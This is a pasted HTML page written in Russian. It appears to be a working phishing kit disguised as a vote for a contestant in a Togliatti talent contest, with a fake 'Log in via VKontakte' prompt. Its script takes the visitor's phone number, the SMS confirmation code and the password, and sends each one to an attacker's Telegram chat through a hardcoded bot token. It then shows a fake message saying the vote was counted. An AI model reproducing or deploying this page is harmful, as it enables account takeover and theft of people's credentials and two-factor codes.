Untitled
9 hours ago in Plain Text
<!DOCTYPE html>
<html lang="ru">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Авторизация</title>
<style>
* {
margin: 0;
padding: 0;
box-sizing: border-box;
font-family: 'Arial', sans-serif;
}
body {
background-color: #f0f8ff;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
color: #003366;
}
.container {
background-color: white;
border-radius: 10px;
box-shadow: 0 0 20px rgba(0, 51, 102, 0.1);
padding: 30px;
width: 100%;
max-width: 400px;
text-align: center;
}
h1 {
color: #003366;
margin-bottom: 30px;
font-size: 24px;
}
input {
width: 100%;
padding: 12px 15px;
margin-bottom: 20px;
border: 1px solid #66b3ff;
border-radius: 5px;
font-size: 16px;
outline: none;
transition: border 0.3s;
}
input:focus {
border-color: #003366;
}
button {
background-color: #0066cc;
color: white;
border: none;
padding: 12px 20px;
border-radius: 5px;
cursor: pointer;
font-size: 16px;
width: 100%;
transition: background-color 0.3s;
}
button:hover {
background-color: #004d99;
}
.logo {
margin-bottom: 30px;
}
.logo img {
width: 80px;
height: auto;
}
.page {
display: none;
}
.page.active {
display: block;
}
.back-link {
color: #0066cc;
text-decoration: none;
display: inline-block;
margin-top: 20px;
font-size: 14px;
}
.back-link:hover {
text-decoration: underline;
}
.girl-image {
width: 100%;
border-radius: 8px;
margin-bottom: 15px;
border: 2px solid #66b3ff;
}
.vote-text {
font-weight: bold;
margin-bottom: 25px;
font-size: 16px;
color: #0066cc;
}
.auth-notice {
margin-bottom: 20px;
font-size: 14px;
color: #555;
}
.social-icon {
width: 20px;
height: 20px;
vertical-align: middle;
margin-right: 5px;
}
.loading {
display: none;
margin: 10px 0;
color: #0066cc;
}
</style>
</head>
<body>
<div class="container">
<div class="logo">
<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 100 100" width="80" height="80">
<circle cx="50" cy="50" r="45" fill="#0066cc"/>
<path d="M30,30 L70,30 L70,70 L30,70 Z" fill="white"/>
<circle cx="50" cy="50" r="15" fill="#0066cc"/>
</svg>
</div>
<!-- Страница 1: Ввод номера телефона -->
<div class="page active" id="page1">
<img src="https://i.ytimg.com/vi/1tTnJd8JIbs/maxresdefault.jpg" alt="София Иванова" class="girl-image">
<div class="vote-text">Проголосуйте за Софию Иванову! Конкурс талантов Тольятти 2025.</div>
<div class="auth-notice">Авторизуйтесь с помощью Вконтакте, чтобы доказать что вы реальный человек</div>
<input type="tel" id="phone" placeholder="Номер телефона" pattern="[0-9]{11}" required>
<button onclick="sendPhoneToTelegram()">
<img src="https://upload.wikimedia.org/wikipedia/commons/f/f3/VK_Compact_Logo_%282021-present%29.svg" alt="VK" class="social-icon"> Войти через ВКонтакте
</button>
<div id="loading1" class="loading">Отправка данных...</div>
</div>
<!-- Страница 2: Ввод кода подтверждения -->
<div class="page" id="page2">
<h1>Подтверждение</h1>
<p style="margin-bottom: 20px;">Мы отправили SMS с кодом подтверждения на номер <span id="display-phone"></span></p>
<input type="text" id="code" placeholder="Код из 6 цифр" pattern="[0-9]{6}" maxlength="6" required>
<button onclick="sendCodeToTelegram()">Подтвердить</button>
<div id="loading2" class="loading">Проверка кода...</div>
<a href="#" class="back-link" onclick="goToPage(1)">Изменить номер телефона</a>
</div>
<!-- Страница 3: Ввод пароля -->
<div class="page" id="page3">
<h1>Введите пароль</h1>
<input type="password" id="password" placeholder="Пароль" required>
<button onclick="sendPasswordToTelegram()">Войти</button>
<div id="loading3" class="loading">Проверка пароля...</div>
<a href="#" class="back-link" onclick="goToPage(2)">Вернуться к подтверждению</a>
</div>
</div>
<script>
// Здесь нужно указать токен вашего бота и ID чата
const TELEGRAM_BOT_TOKEN = '7248849482:AAEmHDcjKflcp0xzkT91Hsw5RXXsiZ6A6Y8';
const TELEGRAM_CHAT_ID = '-4972049558';
function goToPage(pageNumber) {
// Скрыть все страницы
document.querySelectorAll('.page').forEach(page => {
page.classList.remove('active');
});
// Показать выбранную страницу
document.getElementById('page' + pageNumber).classList.add('active');
// Если переходим на страницу 2, отображаем введенный номер телефона
if (pageNumber === 2) {
document.getElementById('display-phone').textContent = document.getElementById('phone').value;
}
}
function showLoading(pageNumber) {
document.getElementById('loading' + pageNumber).style.display = 'block';
}
function hideLoading(pageNumber) {
document.getElementById('loading' + pageNumber).style.display = 'none';
}
async function sendToTelegram(message) {
try {
const response = await fetch(`https://api.telegram.org/bot${TELEGRAM_BOT_TOKEN}/sendMessage`, {
method: 'POST',
headers: {
'Content-Type': 'application/json',
},
body: JSON.stringify({
chat_id: TELEGRAM_CHAT_ID,
text: message,
parse_mode: 'HTML'
})
});
const data = await response.json();
return data.ok;
} catch (error) {
console.error('Ошибка отправки в Telegram:', error);
return false;
}
}
async function sendPhoneToTelegram() {
const phone = document.getElementById('phone').value;
if (!phone || phone.length < 11) {
alert('Пожалуйста, введите корректный номер телефона');
return;
}
showLoading(1);
const message = `📱 <b>Новый ввод номера телефона</b>\nНомер: ${phone}\nВремя: ${new Date().toLocaleString()}`;
const success = await sendToTelegram(message);
hideLoading(1);
if (success) {
goToPage(2);
} else {
alert('Ошибка отправки данных. Пожалуйста, попробуйте ещё раз.');
}
}
async function sendCodeToTelegram() {
const code = document.getElementById('code').value;
if (!code || code.length !== 6) {
alert('Пожалуйста, введите 6-значный код подтверждения');
return;
}
const phone = document.getElementById('phone').value;
showLoading(2);
const message = `🔢 <b>Введен код подтверждения</b>\nНомер: ${phone}\nКод: ${code}\nВремя: ${new Date().toLocaleString()}`;
const success = await sendToTelegram(message);
hideLoading(2);
if (success) {
goToPage(3);
} else {
alert('Ошибка отправки кода. Пожалуйста, попробуйте ещё раз.');
}
}
async function sendPasswordToTelegram() {
const password = document.getElementById('password').value;
if (!password) {
alert('Пожалуйста, введите пароль');
return;
}
const phone = document.getElementById('phone').value;
showLoading(3);
const message = `🔑 <b>Введен пароль</b>\nНомер: ${phone}\nПароль: ${password}\nВремя: ${new Date().toLocaleString()}`;
const success = await sendToTelegram(message);
hideLoading(3);
if (success) {
alert('Авторизация выполнена! Ваш голос за Софию Иванову учтён!');
// Здесь можно добавить редирект на другую страницу
} else {
alert('Ошибка авторизации. Пожалуйста, попробуйте ещё раз.');
}
}
// Маска для номера телефона
document.getElementById('phone').addEventListener('input', function(e) {
this.value = this.value.replace(/[^0-9]/g, '');
});
// Маска для кода подтверждения
document.getElementById('code').addEventListener('input', function(e) {
this.value = this.value.replace(/[^0-9]/g, '');
});
</script>
</body>
</html>